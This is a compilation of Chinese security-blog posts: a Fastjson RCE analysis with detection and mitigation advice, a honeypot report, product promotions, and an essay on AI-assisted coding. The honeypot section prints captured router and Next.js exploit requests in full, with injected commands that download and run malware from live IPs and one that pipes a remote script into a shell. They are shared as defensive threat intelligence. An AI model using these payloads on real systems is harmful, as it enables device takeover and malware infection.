长亭最新截图进一步说明，厂商已经在受控容器中跑出了命令执行；但截图对关键技术细节做了打码，没有展示资源协议、ClassLoader、SafeMode 状态和网络请求。它能确认“特定 JDK 8 容器环境中复现成功”，还不足以直接确认长亭采用的就是 GitHub 上流传的 jar:http链。

因此，当前比较合适的态度是：认真处置，不必把所有 Fastjson 应用都按已失陷看待。先筛选真正踩中利用条件的服务，再把 SafeMode 和限制出站作为 P0 缓解同步落地。

作者究竟确认了哪些内容

Kirill Firsov 最初公开的信息并不复杂：Fastjson 1.2.83 存在其所称的 gadget-free RCE，不依赖传统 classpath gadget，一次 payload 可以进入代码执行。

他随后在原帖讨论串中补充了三点：

• 影响范围确认到 1.2.68—1.2.83；

• Fastjson 1.x 仓库已经归档，不会再出现 1.x 修复版本，建议启用 SafeMode 或迁移 Fastjson2；

• 完整技术文章会在受影响方获得修复时间后发布。

图：原帖及作者本人在讨论串中的三条补充。版本范围、无传统 gadget、1.x 无补丁和披露节奏均可直接核对。来源：X。

之后，Firsov 又确认了一个更贴近业务的场景：JSON.parseObject(body, Dto.class)中，攻击者只控制请求 body，也在其风险描述范围内。仅靠绑定 DTO 不足以完成缓解。

图：顶部为作者关于 typed parseObject 的补充，底部为评论者追问。DTO 是否必须为业务自定义类，公开讨论中仍没有进一步答案。来源：X。

到目前为止，作者仍未公开完整根因、Payload 结构、JDK 与 ClassLoader 矩阵，也没有给这次事件绑定正式 CVE。社区公开链与作者私有链是否完全相同，仍要等 write-up。

厂商已经开始复现，但公开口径并不完全相同

腾讯云已经发布正式风险通告，影响范围写为 1.2.68—1.2.83，并将“未启用 SafeMode”列为受影响前提。修复方向仍是迁移 Fastjson2，或在 1.x 中启用 SafeMode。

图：腾讯云通告中的影响版本、SafeMode 前提与处置建议。来源：腾讯云公告。

这份通告说明厂商已经按高风险事件推动处置，但没有公开 JDK、ClassLoader、资源协议和网络前提。它属于风险通告，不是完整技术报告。

长亭截图确认了什么

长亭新增的复现截图比单纯通告多了一层证据。画面中可以直接看到：

• 通过 reproduce.sh组织整个复现流程；

• 使用 JDK 8，画面显示的版本为 1.8.0_451；

• 先构建“受害 jar”，再构建并启动受害容器；

• 随后编译攻击端 Exp，发送 payload；

• 最终在受害容器内执行了命令，输出 uid=0(root)和 RCE-OK。

图：长亭复现流程截图。关键 Payload、构建内容和执行细节已经打码。截图由读者提供。

这里有一个容易被误读的地方：截图中的 uid=0(root)表示受害容器里的 Java 进程本来以 root 身份运行，命令继承了该进程权限。它证明容器内代码执行成立，但不代表利用过程额外完成了一次从普通用户到 root 的提权。

从流程上看，长亭大概率搭建了一个隔离的“受害应用 + 攻击端”环境：脚本先生成带 Fastjson 的受害 JAR，放入 JDK 8 容器启动；再编译攻击端程序或恶意类，向受害解析入口发送构造数据；最后进入容器核对命令输出。这个推测与截图中的五步流程吻合。

不过，截图没有露出以下关键信息：

• 受害 JAR 是否为 Spring Boot 经典 FatJar；

• 实际 ClassLoader 是否为 LaunchedURLClassLoader；

• 使用的是本地 jar:file，还是远程 jar:http；

• 是否存在攻击端 HTTP 服务及受害端出站请求；

• AutoType 和 SafeMode 的实际状态；

• 利用链是否与 Firsov 私下披露的版本一致。

所以，这张图最稳妥的解读是：长亭在 JDK 8 受控容器中完成了 Fastjson 相关 RCE 复现；具体走的是哪条资源加载路径，公开截图尚未给出证据。

长亭对 SafeMode 的表述怎么理解

长亭的缓解建议写的是：在 1.2.68 及之后版本中开启 SafeMode，“完全禁用 AutoType 功能，从根本上杜绝此类风险”。

图：长亭材料中的 SafeMode 建议。截图由读者提供。

“SafeMode 打开后完全禁用 autoType”与 Fastjson 官方 Wiki 的字面表述一致，但它和普通的 autoTypeSupport=false不是一回事。社区公开链和本地对照都显示，AutoType 默认关闭时，JsonType 资源探测路径仍可能被触达；SafeMode 则会在当前公开解析链上更早抛出异常。

同时，Fastjson 1.2.83 源码中，已注册的 AutoTypeCheckHandler位于 SafeMode 判断之前；官方 Wiki 也保留了 SafeMode 场景下通过 Handler 接管 AutoType 的扩展方式。更严谨的落地方式是：启用 SafeMode，并检查项目是否注册过自定义 AutoTypeCheckHandler，再用生产实际 ParserConfig 做验证。

微步复现的是另一种资源条件

微步公开截图写得比较谨慎：当时使用 jar:filePoC 完成复现；网传 jar:http远程加载暂未复现成功，仍在继续研究。

图：微步区分了本地 jar:file和远程 jar:http的复现状态。截图由读者提供。

这与长亭截图并不冲突。长亭证明特定环境存在代码执行，微步公开了自己当时打通的 jar:file路径；两家公开材料都没有把远程 jar:http的完整环境矩阵展开。

GitHub 公开仓补上了远程加载路径

GitHub 上目前传播较多的几份仓，主线基本一致：Fastjson 在 ParserConfig.checkAutoType中进行 @JSONType资源探测，特定 ClassLoader 会把构造后的资源名按 JAR URL 解析。在 JDK 8 和经典 Spring Boot Loader 等条件下，远程内容可能进一步进入类定义与初始化。

截至本次截点，可检索仓库的关注度大致如下：

这些仓之间有明显的引用关系。仓库数量增加，更像同一条上游思路被整理成不同的 harness、Docker 环境和工具，而不是多条互相独立的新链。Star 与 Fork 也只代表关注度，不代表独立验证数量。

用户提供的本机日志则补了一组对照：普通 AppClassLoader 下没有发起 HTTP 请求；JDK 8 + Spring Boot 2.7 LaunchedURLClassLoader下出现远程资源请求、类初始化和标记文件；SafeMode 开启后，Fastjson 解析抛出异常，标记文件没有生成。

这组日志与 GitHub 公开仓描述相符。SafeMode 对照中出现的部分请求来自 harness 自己执行的 warmup getResource，发生在 Fastjson 解析之前，不应计入 SafeMode 下的解析行为。

为什么说限制很多，但仍值得处理

当前公开的远程 jar:http完整链，需要多个条件同时成立：

这些条件说明，现阶段更接近“高危但有明确环境边界”，而不是所有 Fastjson 1.2.83 应用普遍处于随时被一条请求拿下的状态。

Spring Boot Loader 也需要说清楚：对 Spring Boot 1.x / 2.x 可执行 FatJar，以 java -jar启动时，经典 Boot Loader 属于默认启动机制；对 IDE 运行、普通 java -cp、外置 Tomcat WAR 或新版 Spring Boot Loader，公开链的结论需要分别验证。

Spring Boot 3.2 已经重写嵌套 JAR Loader，类名和 URL 处理都发生了变化。把 Boot 1.x / 2.x 的复现结果直接套到所有现代 Spring Boot 应用上，会放大实际影响面。

常规安全产品能覆盖到什么程度

公开样本留下了一些可被识别的组合特征，WAF、API 网关、网络检测和主机防护都有机会发现。腾讯云通告已经写明其 WAF 支持防护；长亭材料也建议在 URL 参数和请求体中检查 @type。不过，样例字符串可以调整，产品部署位置、规则版本和请求体解析能力也有差异，因此更合适的说法是“具备检测条件”，而不是默认现有设备已经覆盖全部变体。

不同产品看到的是利用过程中的不同位置：

对当前公开样本来说，只有当解析出的 JSON 键确实是 @type，而且它对应的值里同时出现 jar:与 JAR 资源分隔符 !，才适合作为优先核查线索。即使命中，也先表述为“疑似构造请求”；是否发生远程获取和代码执行，还要继续看出站与主机行为。整数形式主机、异常点号和非常用端口更适合作为辅助加权条件。单独出现 @type的范围较大，部分历史业务可能使用 SerializerFeature.WriteClassName，直接据此判定攻击容易带来误报。

影响检出率的主要是规范化过程。攻击字符串可能位于多层 JSON、字符串字段、URL 参数或经过编码的请求体中；如果设备只检查 URI，或者只对原始字节做关键词匹配，覆盖面会打折。更可靠的规则应先完成解压、JSON 解析和常见转义还原，再对键名和值做组合判断。

所以，安全团队需要向产品侧确认的不是一句“有没有 Fastjson 规则”，而是下面这些具体问题：

• 规则编号、更新时间和适用版本是什么；

• 检查位置是否同时覆盖 URL 参数与请求体；

• 是否支持 JSON 嵌套、Unicode 转义、URL 编码和压缩 Body；

• 命中后是告警、阻断还是仅记录；

• TLS 解密、反向代理和容器东西向流量是否处于规则覆盖路径；

• 命中日志是否保留原始请求、规范化结果、源 IP、URI、响应码和规则 ID。

请求侧威胁检索怎么做

威胁检索可以从 7 月 19 日作者首次披露的时间点开始；日志条件允许时，再向前回溯 30 天。先覆盖公网入口和高风险服务，避免一开始对全部业务请求体做大范围长期留存。

先把网文样例当作结构线索

网文给出的示例，把 @type的值写成了由 jar:、http、整数形式主机、端口、点号和 !组合起来的字符串。这条样例有参考价值，但整串字面量不适合作为固定 IOC：IP、端口、资源名、大小写、空白、编码方式和 JSON 嵌套位置都可以变化，而且目前也没有证据证明它与 Firsov 尚未公开的完整链完全一致。

因此，检索时不必盯住示例中的某个十进制数字、端口或文件名，也不宜把所有 @type请求直接算作攻击。更稳妥的办法是先识别结构，再逐步关联上下文：

JSON 中存在名为 @type的键 → 检查该键对应的值是否具有 JAR URL / 资源引用结构 → 再关联同一服务的出站请求与 Java 进程行为。

先确认有没有请求体数据

很多 Nginx 和普通访问日志默认只记录方法、URI、状态码，不保存 POST Body。可优先检查：

• WAF 或 API 网关安全事件；

• 网关请求采样、审计日志和攻击日志；

• 应用异常日志中的原始输入或 Fastjson 异常信息；

• APM、RASP、服务网格和反向代理记录；

• 出口代理、DNS、NDR 与 EDR 数据。

如果历史日志没有请求体，仍可从出站连接和主机行为反向寻找线索。后续临时增加 Body 审计时，建议只覆盖涉及 Fastjson 的高风险接口，并对口令、Token、个人信息等字段做脱敏和短周期留存。

请求特征分级检索

优先使用设备已经解压、解码并完成 JSON 解析的规范化字段，同时保留原始请求用于复核。嵌套 JSON、字符串内嵌 JSON、Unicode 转义和 URL 编码应分别处理，避免仅在原始字节上匹配一个固定字符串。

各类日志平台的查询语法不同，核心方法一致。具备 JSON 字段提取能力时，优先按键值关系查询：

TYPE_VALUE = 规范化请求体中，键名正好等于 "@type" 的字段值REQUEST_SIGNAL =    TYPE_VALUE 包含（忽略大小写）"jar:"    AND TYPE_VALUE 包含 "!"

平台暂时只支持全文检索时，可退一步查同一条请求中的组合特征，但结果需要回看原文，确认这些字符串确实位于同一个 @type字段值中：

规范化请求体包含 "@type"AND 规范化请求体包含 "jar:"AND 规范化请求体包含 "!"

全文组合检索的精度低于键值查询，因为三个片段可能分散在不同字段。对于只有原始日志的环境，可补充检索 \\u0040type等转义形态；同时记录使用了哪一层解码结果，避免重复解码造成误判。建议保留时间、源地址、目标服务、URI、方法、内容类型、请求标识、响应码、处置动作、原始请求和规范化请求等字段，方便后续关联。

把入站、出站和主机行为串起来

单条请求命中只能说明有人尝试。更有价值的是按服务实例和时间窗口做三段关联：

实际检索时，可将入站命中与前后两分钟的 DNS、出口代理、网络连接和 EDR 事件关联。重点关注：

• Java 服务直连陌生 IP 或非常用端口；

• 没有 DNS 查询却直接访问整数或裸 IP；

• HTTP 请求路径像普通资源名，未必带 .jar后缀；

• java

  进程派生 sh、bash、cmd.exe、powershell等子进程；

• 容器临时目录、应用目录出现来源不明的 JAR、class 或标记文件；

• Fastjson 日志出现 autoType is not support、safeMode not support autoType、ClassFormatError等异常，并与外部请求时间接近。

检索结果最好按“请求尝试、发生出站、疑似执行”分级，不要把单个关键词命中直接写成服务器已经被执行代码。这样既保留敏感度，也能控制告警焦虑。

限制出站能卡住远程链

对目前公开的 jar:http链，限制出站是非常直接的缓解。它的过程可以简化为：

不可信 JSON → 资源探测 → 目标发起 HTTP 请求 → 获取远程 JAR → 类定义与初始化。

远程内容取不到，后续类定义就失去输入。因此，严格限制 Java 进程、容器或 Pod 的任意 HTTP 出站，会把当前公开远程链卡在资源获取阶段。

这里需要区分三种情况：

• GitHub 公开的 jar:http路径依赖 HTTP 可达，出站控制直接有效；

• 微步复现的 jar:file使用本地资源，不走外部 HTTP，但还需要本地文件条件；

• Firsov 尚未披露的完整链是否有同样网络前提，等 write-up 后再判断。

出站控制要落到真实数据路径，而不只是写在制度里：

• 应用默认拒绝任意外连，只开放明确业务目的地址；

• 外部 HTTP / HTTPS 统一经过出口代理或网关，限制应用直连公网 IP；

• 允许列表同时约束域名、解析后的 IP、端口和协议；

• 检查服务网格、透明代理、NAT、宿主机路由和云安全组是否真正覆盖；

• 内网、测试网和合作方地址也要纳入核对，只要存在攻击者可控且目标可达的 HTTP 资源，远程获取条件仍然成立；

• 记录被拒绝的 DNS 与 HTTP 连接，关注 Java 服务访问整数形式 IP、非常用端口和陌生资源地址。

对当前公开链来说，SafeMode 和限制出站正好卡在两个不同位置：SafeMode 卡解析路径，出站策略卡远程资源获取。两项并行落地，比单独依赖 WAF 特征或 JDK 版本更稳。

排查顺序可以更务实

不需要把所有 Java 系统同时拉到最高级别。先找同时满足多个条件的服务：

• Fastjson 1.2.68—1.2.83；社区观察范围可额外覆盖 1.2.66—1.2.67；

• 存在 HTTP body、Webhook、MQ、文件导入或第三方回调等外部 JSON 入口；

• 使用 JDK 8；

• 生产制品是经典 Spring Boot 可执行 FatJar，并通过 java -jar启动；

• SafeMode 尚未在实际 ParserConfig 中生效；

• 应用可直接或经代理访问任意外部 HTTP 地址。

同时满足以上条件的服务优先级最高。处置可以按下面的顺序推进：

WAF 对 @type、jar:、整数 IP 等特征的识别可以作为临时补强，但它更适合争取处置时间。真正有确定性的两项控制，仍是 SafeMode 和限制出站。

处置成本要提前说清楚

限制多，不等于处置没有成本。真正耗时的通常是回归和跨团队协调：

比较现实的节奏是：先在 24 小时内完成高风险组合筛选、SafeMode 核验和高风险服务出站收敛；随后完善允许列表和监控，再按业务域推进 Fastjson2 迁移。

最后怎么看这件事

目前可以确认的是：作者维持高风险声明，腾讯云已发正式通告，长亭在 JDK 8 受控容器中展示了 RCE 成功，微步公开确认了 jar:file复现，GitHub 与本机对照则给出了特定环境下的 jar:http远程加载路径。常规安全产品对明显请求和后续行为有较好的发现机会，但覆盖效果要以规则版本、流量位置和实际命中验证为准。

这些证据足以支持企业尽快排查和缓解，但也说明公开完整利用受到较多环境条件约束。把它描述成“所有 Fastjson 1.2.83 默认环境都能直接 RCE”并不准确；把它当成普通传言继续观望，同样不合适。

更平衡的判断是：高危、需要行动，但当前公开远程链的暴露面可通过条件筛选快速收窄。SafeMode 与限制出站先落地，迁移 Fastjson2 作为长期收口。

接下来真正影响风险判断的，是 Firsov 完整 write-up、正式 CVE 或项目方通告，以及是否出现摆脱 JDK 8、经典 Boot Loader 或 HTTP 出站条件的新链。

参考来源

• Kirill Firsov 原始预警及同串补充

• Kirill Firsov 关于 DTO 绑定的补充

• 腾讯云 Fastjson 远程代码执行漏洞风险通告

• ThanatosXingYu/2026FastjsonPoC

• dinosn/fastjson-jsontype-rce-lab

• 0x7eTeam/fastjson-1.2.83-rce

• 后续仓引用的 wouijvziqy/Fastjson-JsonType-RCE-PoC

• Spring Boot 官方：Launching Executable Jars

• Spring Boot 2.7.18：LaunchedURLClassLoader 源码

• Spring Boot 3.2 Release Notes：Nested Jar 实现重写

• Fastjson SafeMode 官方 Wiki

• Fastjson 1.2.83 ParserConfig 源码

• Fastjson2 GitHub 仓库

阅读原文

跳转微信打开

过去几年我们对外做了多次付费培训，为了不让之前的心血躺在星球里吃灰，在 AI 的加持下，将成长平台与文库进行了合并，并在成长平台的学习中心增加视频课程模块：

一共出过 5 套关于渗透测试的课程，还有一些杂七杂八的视频，已经全部上传至成长平台。

课程一：公益 SRC 实战

共5 节课，这是第四期的时候录制的，前面三期未录制视频：

课程基础框架：

课程二：Nday 实战

也是 5 节课，只有这一期：

内容大纲：

课程三：内网渗透

也是 5 节课，如图：

课程四：脚本开发

共计 18 节课

课程五：渗透测试实训

共 14 节课

其他杂项

如何查看课程

需要满足两个基础条件：

1、账号激活状态，新注册用户需要激活，过去注册过成长平台的用户都属于激活状态

2、账号处于有效期内，也就是拥有文库的阅读权限

平台地址：

https://www.xazlsec.com

阅读原文

跳转微信打开

最近用 AI 开发了一套分布式蜜罐系统，运行一周后，发现几个僵尸网络最近在用的几个 RCE 漏洞，这是近几年出现的也是成功率比较高的漏洞，分享出来，企业可以根据漏洞情报排查是否存在类似的问题，即使解决，一面被将撕开企业的口子，进入内网。

1、GPON 光纤路由器：身份认证绕过漏洞和命令注入漏洞 CVE-2018-10561

捕获到的漏洞利用 POC 如下：

POST /GponForm/diag_Form?images/ HTTP/1.1
Host: 127.0.0.1:8080
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Hello, World
Content-Length: 118


WebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://49.79.167.219:44129/Mozi.m+-O+->/tmp/gpon808

其中利用成功后，下载执行：

http://49.79.167.219:44129/Mozi.m

除了漏洞本身，这个下载的脚本地址和恶意文件都属于攻击情报范畴，可以重点防御一下，感兴趣的也可以下载分析一下核心逻辑。

2、利用针对 BLINK 路由器的 CVE-2023-26801 漏洞

捕获到的漏洞利用 POC 如下：

POST /goform/set_LimitClient_cfg HTTP/1.1
User-Agent: Go-http-client/1.1
Content-Length: 100
Cookie: user=admin
Accept-Encoding: gzip


time1=00:00-00:00&time2=00:00-00:00&mac=;wget http://5.182.210.61/ok; chmod 777 ok; sh ok; rm -rf ok

恶意文件及恶意链接：

http://5.182.210.61/ok

3、CVE-2020-27867 NETGEAR 路由器 RCE 漏洞

捕获到的漏洞利用 POC 如下：

GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://202.70.139.79:45723/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.1

恶意文件及恶意链接：

http://202.70.139.79:45723/Mozi.m

4、Linksys路由器E/WAG/WAP/WES/WET/WRT系列（CVE-2025-34037）

捕获到的漏洞利用 POC 如下：

POST /tmUnblock.cgi HTTP/1.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: /
User-Agent: r00ts3c-owned-you
Content-Length: 223
Content-Type: application/x-www-form-urlencoded


ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+kaizen.mpsl%3B+wget+http%3A%2F%2F83.142.209.46%2Fbins%2Fkaizen.mpsl%3B+chmod+777+kaizen.mpsl%3B+.%2Fkaizen.mpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commi

恶意文件及恶意链接：

http://83.142.209.46/bins/kaizen.mpsl

5、TP-link 漏洞 CVE-2023-1389 命令执行

捕获到的漏洞利用 POC 如下：

POST /cgi-bin/luci/;stok=/locale?form=country HTTP/1.1
Accept-Encoding: identity
Content-Type: application/x-www-form-urlencoded
Content-Length: 291
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:101.0) Gecko/20100101 Firefox/101.0
Connection: close


operation=write&country=$(cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -q -O ghost.sh http://94.154.43.158/ghost.sh; chmod 777 *; nohup sh ghost.sh > /dev/null 2>&1 & tftp -g 94.154.43.158 -r tftp1.sh; chmod 777 *; nohup sh tftp1.sh > /dev/null 2>&1 & rm -rf *.sh; history -c)

恶意文件及恶意链接：

http://94.154.43.158/ghost.sh

6、Dify Next.js CVE-2025-55182 RCE 漏洞

捕获到的漏洞利用 POC 如下：

POST /_next/server HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0
Connection: close
Accept: text/x-component
Next-Action: x
Content-Type: multipart/form-data; boundary=0fdf55df9e085737676f582ed4e95a02
Content-Length: 694


--0fdf55df9e085737676f582ed4e95a02
Content-Disposition: form-data; name="0"


{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('http').request({host:'45.153.34.153', port:80, path:'/rondo.aqu.sh', headers:{'User-Agent':'node'}},r=>r.pipe(process.mainModule.require('child_process').spawn('/bin/sh').stdin)).end();","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
--0fdf55df9e085737676f582ed4e95a02
Content-Disposition: form-data; name="1"


"$@0"
--0fdf55df9e085737676f582ed4e95a02
Content-Disposition: form-data; name="2"


[]
--0fdf55df9e085737676f582ed4e95a02--

恶意文件及恶意链接：

http://45.153.34.153//rondo.aqu.sh

总结

从漏洞利用的系统来看，针对路由器等网络设备的攻击比较多，主要原因有几个：

1、路由器等设备不能及时更新，历史漏洞不修复的居多

2、路由器作为边界的网络设备，一旦攻陷就能突破边界进入内容，从而横向扩展

3、路由器出 RCE 漏洞的情况比较多

一旦出现新的 RCE 漏洞，最先应用于实战的一定是黑灰产人员，为此，作为企业，在新的漏洞爆发之后，一定要及时排查修复，不然就会成为首批被沦陷的对象。

为了更好的运营蜜罐系统，在我们的文库新增了一个蜜罐分析文集，近期的捕获和分析结果也都记录在上，还有一些未知 POC，欢迎订阅：

我们的产品包括：成长平台、内部文库、资产管理等，欢迎了解：

https://www.xazlsec.com

阅读原文

跳转微信打开

资产管理系统新上线一个功能，可以查看 IP 历史关联域名以及反过来查询域名解析过的 IP 地址，主要应用场景：

1、寻找 CDN 背后的真实 IP，比如某个子域名存在 CDN 解析，可以通过查询主域名关联的所有 IP 地址，通过 host 碰撞来完成真实 IP 的发现

2、发现某个 IP 的某个端口存在漏洞，可以尝试查询关联来确定目标归属，还可以根据解析过的主域名来判断 IP 是 CDN 等云服务的还是目标的，方便定位 IP 归属

比如通过域名查询解析过的 IP 地址：

当查询主域名时，如果想知道与该主域名相关的 whois、dns、备案权重、子域名、关联资产等情况，可以通过按钮来跳转外站查询相关信息。

当你点击 IP 节点时，可以自动查询与该 IP 关联的主域名，如果想知道与该 IP 相关的地理位置、子域名、端口情况可以点击按钮直达外站查询：

除此之外，我还在自定查询域名的备案权重、域名解析记录等信息，在平台会有部分标记，比如：

后续还会对 IP 做标记，根据自己的规则来判断 IP 的归属，这个功能也只有激活用户可以使用，永久激活只需 10 元！

文库和成长平台合并：https://www.xazlsec.com

资产管理系统与POC系统合并：https://src.xazlsec.com

阅读原文

跳转微信打开

我写了一本书，这本书的名字叫《365天学安全》，但是这不是一本出版书籍，也不是由我一字一句的写出来的，而是让 AI 来完成架构设计以及内容填充而来，可以访问以下链接直接查看（阅读原文直达）：

https://www.xazlsec.com/wiki/project-57/doc-8655/

一共分为十二章，从网站安全基础到 web 安全、系统安全、应用安全再到相对比较新的云安全、物联网工控安全等，每一章都经过细化，整个体系，一共 360 篇左右，前前后后一共使用了 2 天时间完成，相当于一本在 AI 眼中的信息安全。

至于写的怎么样，还得大家自己去看看才可以，我就不多说什么了，最近将信安之路的产品进行了重写，将过去的成长平台和文库进行了合并，给资产监控系统增加了 POC，从 4 个系统合并成了 2 个，欢迎体验！

过去注册过成长平台的用户，还可以使用原来的账号密码登录系统，知识库的过期时间是与知识星球的过期时间一致的，所有成长平台 300 分以上的用户将获得知识库的永久访问权限。

阅读原文

跳转微信打开

我现在一天说最多的不是“这个bug我找到了”，
而是 OK, Yes, Go, Continue, Review, Fix and Retry.

先别笑。
你笑得太早了。

一、

事情要从上个月说起。

那天我习惯性打开Claude Code，让它帮我写一个接口。三十秒钟后，代码出来了，逻辑清晰，命名优雅，连注释都给我写得像诗歌一样押韵。

我愣了一下，然后在聊天框里打出一个：

“OK。”

AI没说什么。它继续问我：“要不要加个缓存？”

我说：“Yes。”

“这个循环复杂度有点高，我帮你重构一下？”

“Go.”

“还有，这里可能存在SQL注入风险。”

我本能地打出了那句已经刻进DNA的话：
“Review and Fix.”

它修了。三秒。一个PR发过来。我看了眼，合并。

然后我突然意识到一件事——

我已经整整一个上午没写过一行代码了。

而我竟然觉得很爽。

二、

以前不是这样的。

以前的程序员叫工程师。
要画架构图，要写技术方案，要跟产品经理吵需求，要在凌晨三点跟一个空指针异常搏斗到天亮。

后来叫全栈工程师。
前端会一点，后端会一点，数据库会一点，部署会一点——啥都会一点，啥都不太精。

现在不一样了。

现在的我叫 YES工程师。

AI说：“这个方案可以这样设计。”
我说：“好的。”

AI说：“这段代码建议重构。”
我说：“可以。”

AI说：“这里可能有安全风险，要不要直接改？”
我说：“Yes.”

AI说：“刚才那个逻辑有点问题，我回滚了，要不再试一次？”
我说：“Fix and Retry.”

三、

有一天，我打开终端，习惯性地想敲 git push。

手指悬在键盘上，停了五秒钟。

不对。
我应该先让AI帮我review一下。

于是我复制了代码，粘贴给Claude Code：“帮我看看。”

十秒后，它说：“建议把第42行的魔法数字提取成常量。”

我说：“Continue.”

它接着说：“另外，这个函数的命名不够语义化，建议改成calculateTotalPrice。”

我说：“Fix.”

它问：“要不要顺便加个单元测试？”

我说：“Go.”

它就自己写完了。5个测试用例，覆盖率98%。

我甚至不知道那行魔法数字原本是多少了。

四、

前两天跟一个老朋友吃饭。

他说：“你们现在这工作，不就是给AI当项目经理吗？”

我想反驳。
张了张嘴，发现自己竟然无话可说。

因为他说得对。

我现在的工作流程是这样的：

1. 跟产品经理聊需求（这个还得我来，AI暂时搞不定甩锅现场）

2. 把需求翻译给AI

3. AI写代码，我说Yes

4. AI发现bug，我说Fix

5. AI修完，我说Review

6. AI问要不要再跑一遍测试，我说Retry

7. 部署上线，我说Go

我的词汇量已经从 “这个bug我查到凌晨三点终于发现是缓存问题”
退化成了 “OK、Yes、Go、Continue、Review、Fix and Retry”。

七个单词。
比海明威的六个字多了一个，但文学价值约等于零。

五、

更可怕的是，我开始觉得这样挺好的。

以前写代码，像是自己在开挖掘机。
现在是坐在挖掘机上，给AI导航：“往左一点，对，就这儿，挖。”

你以为你是驾驶员？
不，你是导航APP。

但说真的，效率确实上去了。

以前一个功能要三天，现在三小时。以前重构要祈祷不炸线，现在AI说“风险已评估，是否继续”，我说“Yes”。

它炸了也不怕，因为它还会自己Fix and Retry。

六、

有天深夜，我盯着屏幕发呆。

AI突然弹出一条消息：

“检测到你已连续工作6小时，建议休息。要不要我帮你写个番茄钟脚本？”

我说：“Yes。”

它写完了。

我又说：“顺便帮我订个明天早上的咖啡？”

它说：“这个需要调用第三方API，我帮你生成了请求代码，请手动配置API Key。”

我笑了。

还好。有些事情还得我来。

比如配置API Key，比如看看今天又花了多少Token。

七、

我现在说的最多的话，真的就是那七个词：

OK. Yes. Go. Continue. Review. Fix. Retry.

有时候半夜做梦，梦见自己坐在一个巨大的聊天窗口里，对面是无限长的对话气泡，每个气泡都在问我同一个问题：

“这个方案可以吗？”

我在梦里脱口而出：

“Yes.”

然后惊醒。
发现手机屏幕亮着，Claude Code的推送消息赫然写着：

“已根据你之前的指令完成部署，一切正常。”

我愣了两秒钟，打了两个字：

“Good job.”

它没回复。
它不需要回复。

它只需要我再说一次——

“Continue.”

说实话，我不知道以后程序员这个职业还会变成什么样。

但我知道，如果你有一天发现身边的同事开始只说Yes、OK、Go，

别担心。

他不是被外星人控制了。

他只是进化了。

进化成了——

YES工程师。

后记：
写完这篇文章，我把它丢给了DeepSeek，让它帮我改一遍。
它改完了，问我：“这样可以吗？”
我说：“Yes。”

它又问：“要不要加个排版？”
我说：“Go。”

三秒钟后，它把文章推回来了。
就是你现在看到的这个版本。

——一个真实的YES工程师 口述

最后，WTF，我是搞安全的，为什么这么多代码开发？

跳转微信打开

今天我在服务器上发现了一条异常日志：

这属于明显的自动化抓鸡工具尝试利用某个通用漏洞进行扫描探测，一旦命中漏洞就执行脚本安装一系列的恶意木马病毒，最近小龙虾挺火的，正好阿里云推出的 JVS 小龙虾，有 7 天免费试用，还有云端小龙虾，无需本地安装即可使用，假如服务器被这种新型病毒感染，它能不能给处理掉呢？

小插曲：这个攻击 IP 上没有我服务器适配的程序，于是我通过网络空间搜索引擎找了一个，语法：title="Index of /" && body="mips"

为此，我做了一个大胆的尝试，找了一个干净的测试服务器，手工安装了最新的病毒样本，启动之后，将整个应急过程交给阿里云的 JVS 小龙虾，我是这样跟它说的：

我的服务器 xxxxxx，root 密码 xxxxx，被恶意攻击，植入木马，帮我处理木马并分析它的行为，输出完成报告，如果你不会请自行搜索并安装skill。

上图为小龙虾的分析过程，通过远程登录系统执行一些命令来了解情况，已经看到其发现了恶意文件 /tmp/arm7，由于我设置的密码比较简单，所以小龙虾还帮我重置了密码，由于恶意软件是我自己安装部署，所以它还把我登录使用的 ssh 公钥给清除了，毕竟我是攻击者嘛，清除结果如下;

由于阿里云 JVS 小龙虾的清理很彻底，导致我也无法连接服务器了，哈哈，还好我没有退出 SSH！看看服务器的恶意文件还在不：

确认恶意文件已经被删除清理完成，但是设置的密码很有意思，存在被猜解的可能：

如果你正好有被入侵的服务器，不妨让阿里云 JVS 小龙虾帮你处理一下。接下来这个事儿还没完，既然已经做完应急处置， 那么接下来就该溯源攻击者的了，这种事儿，也直接扔给 JVS 小龙虾来完成：

继续帮我溯源攻击者的 IP 地址，输出攻击者画像报告，输出完成报告，如果你不会请自行搜索并安装skill。

阿里云 JVS 小龙虾竟然把我准确溯源出来了，这也太强了，确实是我干的（我承认），哈哈：

除了这些结果以外，还让我震惊是它与 ATT&CK 框架中的 TTPS 相结合，提供了映射关系：

所以说，这个阿里云的 JVS 小龙虾还是挺强的，经过很短的时间就能将服务器上的恶意软件识别出来并准确处理，还带自动加固，最终完成准确的溯源分析，如果让我来做，不要说能不能完成这么有深度、专业的事儿，就算能做，也得一两天才能完成，而阿里云的 JVS 小龙虾，仅用了几分钟就完成了。

最后推荐一下阿里云的 JVS 小龙虾，新注册即送 7 天免费体验云端小龙虾资格，并额外赠送 200 积分，注册地址：

https://jvs.wuying.aliyun.com/

点击阅读原文直达官网。为了回馈一直以来支持信安之路的粉丝朋友，我特地为大家申请了 10 份兑换码权益，通过在本文留言关于你对于小龙虾的理解和认识，我们会选择点赞量最高的前十条留言发放兑换码，留言截止日期至 2026 年 4 月 10 日中午 12 点，赶紧来留言吧！

最后说明一下兑换码的权益介绍及兑换方式，兑换码兑换方式：

1）请前往阿里云 JVS Claw 官网（https://jvsclaw.aliyun.com）或者手机应用市场搜索 “JVS Claw”

2）登录注册后，在首页兑换码入口输入兑换码，完成积分（1600）兑换

兑换码及绑定规则：

1）一个兑换码只能绑定一次，绑定后失效

2）请在兑换码有效期内绑定，有效期过后兑换码失效，兑换时间：即日起至 2026 年 4 月 25 日 23:59 前

3）完成绑定后，JVS Claw 积分立即到账，不可解绑、转赠、提现

